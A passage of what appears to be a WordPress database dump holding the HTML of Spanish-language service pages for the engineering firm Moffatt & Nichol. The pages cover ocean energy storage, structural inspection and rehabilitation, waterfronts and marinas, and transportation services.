src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\" alt=\"\" width=\"250\" height=\"189\" /></div></div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">Almacenamiento de energía del océano</h1>\r\nMoffatt &amp; Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica. La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión. Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m). Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica. GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\n• Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más\r\n• Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento \r\n• Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica \r\n• La eficiencia total es de 75-80% \r\n• Capacidad de arranque en negro \r\n• Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” \r\n• Larga vida útil con mantenimiento mínimo\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">energía alternativa</h1>\r\nMoffatt &amp; Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt &amp; Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\r\nLas instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt &amp; Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios de energía','','publish','open','open','','energy-services','','','2012-11-12 06:39:09','2012-11-12 06:39:09','',60,'http://moffattnichol.com/spanish/?page_id=537',0,'page','',0),(544,1,'2011-11-11 14:30:27','2011-11-11 14:30:27','<div class=\"content_faq\">\r\n<h3>servicios de inspección y rehabilitación</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/above-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">inspecciones por encima del nivel de agua</h1>\r\n     La inspección de las estructuras de ingeniería por encima del nivel de agua requiere un enfoque de ingeniería analítico y metódico. El personal de Moffatt & Nichol es muy experimentado en la evaluación de todos los tipos de estructura en una gran variedad de ambientes y ubicaciones. Ya sea que la tarea sea simple y fácil de realizar, o que requiera un complicado régimen de muestreo y prueba de materiales, la firma tiene el personal experimentado para ofrecer el enfoque analítico apropiado al proyecto. No es poco común que la inspección de estas estructuras necesite un método seguro y bien estudiado para lugares de difícil acceso, como por ejemplo debajo de las estructuras de muelles y puentes, inspección en la calzada y otras ubicaciones de complicado acceso.\r\n     \r\n     Los servicios incluyen el análisis de daños al concreto relacionados con la corrosión; la inspección de muelles, dársenas y puentes por encima y por debajo de la cubierta; el muestreo y prueba de materiales; la excavación y prueba de estructuras enterradas; la inspección de equipos mecánicos y eléctricos de servicios públicos, y la inspección de los sistemas de protección catódica.\r\n      \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/below-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">inspecciones por debajo del nivel de agua</h1>\r\n      Las inspecciones de ingeniería estructural por debajo del nivel del agua se realizan con un doble énfasis: operaciones de buceo seguras y asignación de ingenieros estructurales experimentados en el ambiente marítimo. Moffatt & Nichol mantiene un equipo de más de 40 ingenieros buzos estratégicamente ubicados, listos para responder a tareas de inspección por debajo del nivel de agua en los EE.UU. e internacionalmente.\r\n      \r\n      El personal de la firma realiza operaciones de buceo con una cuidadosa evaluación de los requisitos de seguridad, medioambientales y de la tarea en una gran variedad de condiciones climáticas, por encima y por debajo del nivel de agua, incluyendo situaciones de visibilidad limitada (agua turbia), corrientes, ambientes confinados y agua extremadamente fría. Moffatt & Nichol mantiene barcos de buceo y embarcaciones de apoyo estratégicamente localizados para permitir que el personal pueda acceder a la mayoría de instalaciones operacionales.\r\n      \r\n      Los trabajos de inspección por debajo del nivel de agua se realizan generalmente usando el Manual 101 de Prácticas estándar de la Sociedad de ingenieros civiles de EE.UU., “Investigaciones submarinas”. Tres directores de Moffatt & Nichol han contribuido como autores al desarrollo de este documento. Los ingenieros buzos de Moffatt & Nichol realizan inspecciones rutinarias de muelles y dársenas, malecones y muros de retención, diques secos; sistemas y arreglos de cables; estructuras de roca (escolleras y rompeolas), puertos deportivos, informes sobre residuos, inspecciones de construcción, desembocaduras e instalaciones misceláneas.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/constructionservices.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios de la fase de construcción</h1>\r\n      La metodología de reparación que se desarrolla después del proceso de inspección implica la aplicación de procesos únicos en lugares y ambientes adversos. Este trabajo generalmente está asociado a construcciones por encima y por debajo del agua, con frecuencia, como respuesta a fluctuaciones de la marea y a las condiciones atmosféricas. El mismo personal que es responsable de la inspección, evaluación y diseño de las reparaciones, supervisa el proceso de rehabilitación. Los ingenieros buzos de Moffatt & Nichol supervisan periódicamente el avance y la calidad de los trabajos del contratista en campo para verificar que la obra está de acuerdo con los planos y especificaciones, eliminando la incertidumbre del proceso de construcción. Se realizan esfuerzos para garantizar el uso económico de los materiales de precio unitario y la protección del medioambiente, dando por resultado reparaciones eficaces diseñadas para prolongar la vida de servicio de la estructura.\r\n       \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/materials_sampling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">muestreo y prueba de materiales</h1>\r\n     El efecto del ambiente marino en el material estructural puede ser severo e implacable. La vida de servicio y la capacidad estructural de los elementos compuestos de concreto reforzado, acero estructural, madera y compuestos, son afectadas por una inspección limitada y por la carencia de mantenimiento preventivo. Los ingenieros de Moffatt & Nichol están muy capacitados en el muestreo, prueba y evaluación de materiales por encima y por debajo del nivel de agua. Este conjunto de capacidades de Inspección y rehabilitación (I&R), junto con la experiencia profesional en ingeniería estructural, permite la evaluación y diagnóstico de la degradación del material y produce novedosos planes de rehabilitación dirigidos a mantener o aumentar la capacidad de carga, a prolongar la vida de servicio, y a obtener un retorno sobre la inversión.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/service_life.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">modelación de la vida de servicio</h1>\r\n     Como parte de la preparación de las recomendaciones para las medidas correctivas para las estructuras de concreto dañadas, debe identificarse la vida útil restante de una estructura como una base para proporcionar una asesoraría orientada al control de costos. Para determinar este período de tiempo, la modelación de la vida de servicio es una herramienta potente, rentable e innovadora para determinar la conveniencia de la rehabilitación de la estructura existente y para evaluar las técnicas de prolongación de la vida útil de las estructuras nuevas o reparadas. Para dicha modelación, Moffatt & Nichol utiliza el software STADIUM® para estimar la vida de servicio restante tanto para la condición existente como para las varias estrategias alternativas de reparación o protección. Esta tecnología fue utilizada como base para la reciente especificación de la guía de concreto marino de la Marina de EE.UU.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de inspección y rehabilitación','','publish','open','open','','inspection-and-rehabilitation-services','','','2012-06-15 08:56:51','2012-06-15 08:56:51','',62,'http://moffattnichol.com/spanish/?page_id=544',0,'page','',0),(560,1,'2011-11-11 14:54:28','2011-11-11 14:54:28','<div class=\"content_faq\">\r\n  <h3>servicios de frentes de mar urbanos y puertos deportivos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/crise-ship.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">instalaciones de naves de crucero</h1>\r\n     El mercado de naves de crucero es un gran componente de la industria del turismo y hay millones de pasajeros que navegan cada año. El rápido crecimiento de la industria ha causado un aumento en la construcción de naves y la consecuente necesidad de nuevas y mejoradas instalaciones para pasajeros y de atraque. Moffatt & Nichol proporciona una variedad de servicios de ingeniería y de gestión de programa para dar apoyo a los arquitectos y planificadores de terminales de naves de crucero. Estos servicios abarcan desde el planeamiento y diseño de las instalaciones para el acceso de pasajeros hasta la preparación de la documentación de la construcción para las nuevas instalaciones y para las reparaciones de las instalaciones existentes, incluyendo mejoras del dragado y la navegación. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/economic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">estudios de mercado de puertos deportivos</h1>\r\n     La clave del éxito de cualquier proyecto, nuevo o existente, es comprender la información del mercado regional y el análisis de la competencia. Moffatt & Nichol tiene la capacidad para realizar estudios económicos y de mercado a fin de ayudar a planear la instalación óptima para un mercado de puerto deportivo dado. Estos estudios tratan la perspectiva económica y de mercado de la industria del canotaje y de los puertos deportivos con un énfasis particular en el mercado regional para determinar la posición competitiva de la instalación objetivo. Nuestros análisis incluyen tendencias y pronósticos de la demanda, crecimiento demográfico y fluctuaciones de precios, escenarios de crecimiento alto y bajo de ingresos, y consideraciones económicas en la implementación de nuevos puertos deportivos y la modernización de instalaciones existentes. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/fery-termnals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">terminales de transbordadores</h1>\r\n     Los transbordadores funcionan como un importante enlace de tránsito a lo largo de muchas vías navegables urbanas. Ya sea que se trate de un servicio grande para transbordadores de autos o pasajeros, o un servicio pequeño para taxis acuáticos, Moffatt & Nichol proporciona experiencia profesional especializada en el planeamiento, análisis operativo, gestión de tráfico, diseño, estudios medioambientales, gestión de autorizaciones y construcción de terminales de transbordadores (incluyendo muelles, sistemas de amarre, trabajos auxiliares y edificios de las terminales). La firma mantiene un grupo de planificadores e ingenieros dedicados específicamente al planeamiento y diseño de terminales de transbordadores, así como ingenieros costeros e hidráulicos experimentados en el análisis y diseño de canales de navegación, incluyendo estudios de maniobras del buque y de la capacidad del canal.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/historic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">amarres de buques históricos </h1>\r\n     Una parte integral del planeamiento de frentes costeros modernos supone crear espacio para la preservación de buques históricos. Las comunidades de los frentes costeros desean conservar y perpetuar su historia marítima a través de instalaciones que permitan al público experimentar la tradición y la historia de primera mano. La restauración y el mantenimiento de buques históricos como exhibiciones interpretativas en los muelles, o buques de programación \"como en el mar”, pueden proporcionar una aula pública para estudiantes y visitantes. Moffatt & Nichol ofrece una comprensión y un enfoque singulares del diseño de instalaciones de amarre y apoyo para dichos buques históricos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/marinas.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">puertos deportivos</h1>\r\n      La larga historia de Moffatt & Nichol en la siempre cambiante industria de frentes costeros incluye el planeamiento y diseño de puertos deportivos para una cartera de proyectos en diversas ubicaciones de todo el mundo. Moffatt & Nichol responde a los desafíos presentados por cada ubicación, tales como tormentas tropicales, grandes fluctuaciones del nivel de agua, fuerzas de hielo y terremotos. A medida que los diseños de botes cambian y las demandas de atraque aumentan, Moffatt & Nichol se encuentra a la vanguardia para cubrir las necesidades de los usuarios de puertos deportivos, desde pequeñas embarcaciones hasta los mega yates, proporcionando eficientes y emocionantes destinos de puertos deportivos. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/pires.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">muelles recreacionales</h1>\r\n      Los muelles recreacionales son un gran ambiente para la pesca, la observación de aves y de personas, además de ofrecer una ubicación espectacular para observar una salida o puesta de sol. Moffatt & Nichol inspecciona, diseña y prepara la documentación de construcción para muchas de dichas estructuras en todo el mundo; desde pequeños muelles municipales fluviales hasta grandes muelles marítimos en ambas costas de los EE.UU. La firma aprovecha nuestra experiencia con el análisis de vientos, oleajes y corrientes para diseñar muelles que no solamente son servicios públicos comunitarios e históricos atractivos, sino que también pueden soportar vientos, oleajes y terremotos extremos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/resorts.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">centros turísticos</h1>\r\n     Las instalaciones de frentes costeros mejoran los destinos turísticos en todo el mundo y desempeñan un papel importante en atraer clientes y estimular un desarrollo exitoso. Moffatt & Nichol es un líder reconocido en el planeamiento y diseño de instalaciones sociales de frentes costeros y produce diseños económicamente viables y sensibles al medioambiente que dan lugar a una experiencia divertida para el usuario. Los servicios de planeamiento y diseño de frentes costeros de la firma se realizan generalmente en estrecha alianza con la compañía de diseño del desarrollador y del centro turístico para integrar completamente las características de los sectores terrestre y acuático del proyecto. Moffatt & Nichol tiene amplios conocimientos y calificaciones en evaluaciones de lugares y en el diseño de instalaciones de canotaje, playas, muelles y otros centros recreativos de frentes costeros. La experiencia profesional de la compañía se extiende a diseños sostenibles específicos para cada lugar y a soluciones innovadoras ante desafíos singulares presentados por proyectos en ubicaciones remotas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/urban-waterfronts.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">Frentes de mar urbanos</h1>\r\n     Hoy en día, muchos frentes de mar urbanos están asumiendo nuevos papeles como catalizadores del desarrollo económico en sus comunidades. Por más de 65 años, Moffatt & Nichol ha ayudado a revitalizar importantes ciudades internacionales con frentes costeros mediante la creación de espacios de uso combinado con residencias, hoteles, tiendas al por menor, cafés y restaurantes. Los proyectos incluyen un acceso mejorado al frente costero, puertos deportivos municipales y privados, paseos ribereños, malecones y muelles, creación y restauración de humedales, y espacios públicos, anfiteatros y museos marítimos. La firma proporciona servicios integrales que incluyen planeamiento, ingeniería civil, costera, estructural, mecánica y eléctrica, así como el diseño y la preparación de la documentación de la construcción. Estos servicios son complementados por especialidades tales como estudios económicos, de dragado, sísmicos y medioambientales, además de la modelación numérica y física de las vías navegables. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/waterfront-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento maestro de frentes costeros</h1>\r\n      Moffatt & Nichol regularmente presta sus servicios como representante de ingeniería marítima en equipos de diseño interdisciplinarios dirigidos por arquitectos, arquitectos paisajistas y firmas de planeamiento urbano internacionalmente aclamados que proporcionan servicios de planeamiento maestro de frentes costeros. Estos planes intentan reconectar las ciudades con las orillas de sus ríos y revigorizar las oportunidades de desarrollo y el espacio recreativo. Moffatt & Nichol proporciona ayuda con respecto de la evaluación de las instalaciones existentes, el diseño de las estructuras de los frentes costeros, la protección costera, los problemas regulatorios, los intereses de navegación comerciales y los estudios de mercados marítimos, así como las consideraciones para canotaje recreativo, amarres de buques históricos, taxis acuáticos y posibilidades de utilización de transbordadores.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de frentes de mar urbanos y puertos deportivos','','publish','open','open','','urban-waterfronts-and-marinas','','','2012-06-15 08:11:53','2012-06-15 08:11:53','',58,'http://moffattnichol.com/spanish/?page_id=560',0,'page','',0),(634,1,'2011-11-14 04:23:54','2011-11-14 04:23:54','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=transportation width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n[vslider name=\"transportation\"] \r\n  <div class=\"global-services_one\">\r\n<h3>transporte</h3><br>\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','publish','open','open','','transportation-services','','','2012-09-12 